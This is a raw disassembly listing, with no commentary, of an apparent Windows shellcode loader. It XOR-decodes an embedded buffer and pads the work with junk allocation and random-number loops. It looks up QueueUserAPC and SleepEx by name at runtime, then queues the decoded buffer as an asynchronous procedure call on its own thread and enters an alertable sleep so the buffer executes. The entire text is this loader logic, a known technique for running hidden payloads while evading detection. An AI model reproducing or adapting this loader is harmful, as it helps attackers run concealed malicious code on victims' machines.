call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x640]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x638]
mov rcx, rax
call sub.msvcrt.dll_free
add dword [rbp + 0x860], 1
add dword [rbp + 0x864], 1
mov eax, dword [rbp + 0x864]
cmp eax, 0x5b
jbe 0x140002702
mov dword [rbp + 0x864], 0
jmp 0x140002c17
mov ecx, 0x1cc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x670], rax
mov ecx, 0x1cc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x668], rax
mov ecx, 0x1cc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x660], rax
mov ecx, 0x1cc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x658], rax
mov dword [rbp + 0x84c], 0x72
mov dword [rbp + 0x850], 0
jmp 0x140002a93
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x850]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x670]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x850]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x668]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x850], 1
cmp dword [rbp + 0x850], 0x72
jle 0x140002a00
mov dword [rbp + 0x850], 0
jmp 0x140002b2f
mov eax, dword [rbp + 0x84c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x670]
add rax, rdx
mov edx, dword [rbp + 0x850]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x660]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x84c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x668]
add rax, rdx
mov edx, dword [rbp + 0x850]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x658]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x84c], 1
add dword [rbp + 0x850], 1
cmp dword [rbp + 0x850], 0x72
jle 0x140002aaf
mov rax, qword [rbp + 0x670]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x668]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x660]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x658]
mov rcx, rax
call sub.msvcrt.dll_free
cmp dword [rbp + 0x85c], 0x5b
jne 0x140002bcb
mov eax, dword [rbp + 0x864]
movsxd rdx, eax
mov rax, qword [rbp + 0x6b0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x85c]
cdqe
movzx ecx, byte [rbp + rax]
mov eax, dword [rbp + 0x864]
movsxd rdx, eax
mov rax, qword [rbp + 0x6b0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x85c], 0
jmp 0x140002c10
mov eax, dword [rbp + 0x864]
movsxd rdx, eax
mov rax, qword [rbp + 0x6b0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x85c]
cdqe
movzx ecx, byte [rbp + rax]
mov eax, dword [rbp + 0x864]
movsxd rdx, eax
mov rax, qword [rbp + 0x6b0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x85c], 1
add dword [rbp + 0x864], 1
cmp dword [rbp + 0x864], 0x511
jle 0x1400029a3
mov rax, qword [rbp + 0x6b0]
mov qword [rbp + 0x6a0], rax
mov ecx, 0x1990
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x698], rax
mov dword [rbp + 0x848], 0
jmp 0x140002c90
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x848]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x698]
add rax, rdx
movsd xmm1, qword [0x140006648]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x848], 1
cmp dword [rbp + 0x848], 0x331
jle 0x140002c52
mov dword [rbp + 0x848], 0
jmp 0x140002d2d
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x848]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x698]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x848]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x698]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140004370
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x848], 1
cmp dword [rbp + 0x848], 0x331
jle 0x140002cab
mov rax, qword [rbp + 0x830]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x690], rax
mov rax, qword [rbp + 0x830]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x688], rax
mov ecx, 0x380
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x680], rax
mov ecx, 0x380
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x678], rax
mov dword [rbp + 0x844], 0
jmp 0x140002e3a
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x844]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x680]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x844], 1
cmp dword [rbp + 0x844], 0x6f
jle 0x140002db0
mov dword [rbp + 0x844], 0
jmp 0x140002ea5
mov eax, dword [rbp + 0x844]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x680]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x844]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x678]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.1400040e0
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x844], 1
cmp dword [rbp + 0x844], 0x6f
jle 0x140002e53
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x6a0]
mov r9, qword [rbp + 0x690]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x688]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x8b0]
add rsp, 0x948
pop rbx
pop rsi
pop rdi
pop rbp
ret